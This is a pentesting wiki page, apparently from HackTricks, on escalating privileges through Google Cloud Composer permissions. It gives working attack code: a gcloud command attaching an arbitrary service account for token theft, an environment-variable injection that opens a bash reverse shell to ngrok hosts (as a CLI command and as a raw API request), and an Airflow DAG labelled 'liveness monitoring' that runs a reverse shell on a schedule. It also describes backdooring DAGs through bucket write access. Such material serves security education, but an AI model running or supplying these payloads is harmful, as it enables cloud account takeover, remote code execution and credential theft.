# GCP - Composer Privesc

{{#include ../../../banners/hacktricks-training.md}}

## composer

More info in:

{{#ref}}
../gcp-services/gcp-composer-enum.md
{{#endref}}

### `composer.environments.create`

It's possible to **attach any service account** to the newly create composer environment with that permission. Later you could execute code inside composer to steal the service account token.

<details><summary>Create Composer environment with attached service account</summary>

```bash
gcloud composer environments create privesc-test \
  --project "${PROJECT_ID}" \
  --location europe-west1 \
  --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
```

</details>

More info about the exploitation [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).

### `composer.environments.update`

It's possible to update composer environment, for example, modifying env variables:

<details><summary>Update Composer environment variables for code execution</summary>

```bash
# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
    projects/<project-id>/locations/<location>/environments/<composer-env-name> \
    --update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
    --location <location> \
    --project <project-id>

# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0

{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
```

</details>

TODO: Get RCE by adding new pypi packages to the environment

### Download Dags

Check the source code of the dags being executed:

<details><summary>Export and download DAGs from Composer environment</summary>

```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
```

</details>

### Import Dags

Add the python DAG code into a file and import it running:

<details><summary>Import malicious DAG into Composer environment</summary>

```bash
# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
```

</details>

Reverse shell DAG:

<details><summary>Python DAG code for reverse shell</summary>

```python
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
from datetime import timedelta

default_args = {
    'start_date': airflow.utils.dates.days_ago(0),
    'retries': 1,
    'retry_delay': timedelta(minutes=5)
}

dag = DAG(
    'reverse_shell',
    default_args=default_args,
    description='liveness monitoring dag',
    schedule_interval='*/10 * * * *',
    max_active_runs=1,
    catchup=False,
    dagrun_timeout=timedelta(minutes=10),
)

# priority_weight has type int in Airflow DB, uses the maximum.
t1 = BashOperator(
    task_id='bash_rev',
    bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',
    dag=dag,
    depends_on_past=False,
    priority_weight=2**31 - 1,
    do_xcom_push=False)
```

</details>

### Write Access to the Composer bucket

All the components of a composer environments (DAGs, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.

Get more info about this attack in:

{{#ref}}
gcp-storage-privesc.md
{{#endref}}

### Import Plugins

TODO: Check what is possible to compromise by uploading plugins

### Import Data

TODO: Check what is possible to compromise by uploading data

{{#include ../../../banners/hacktricks-training.md}}



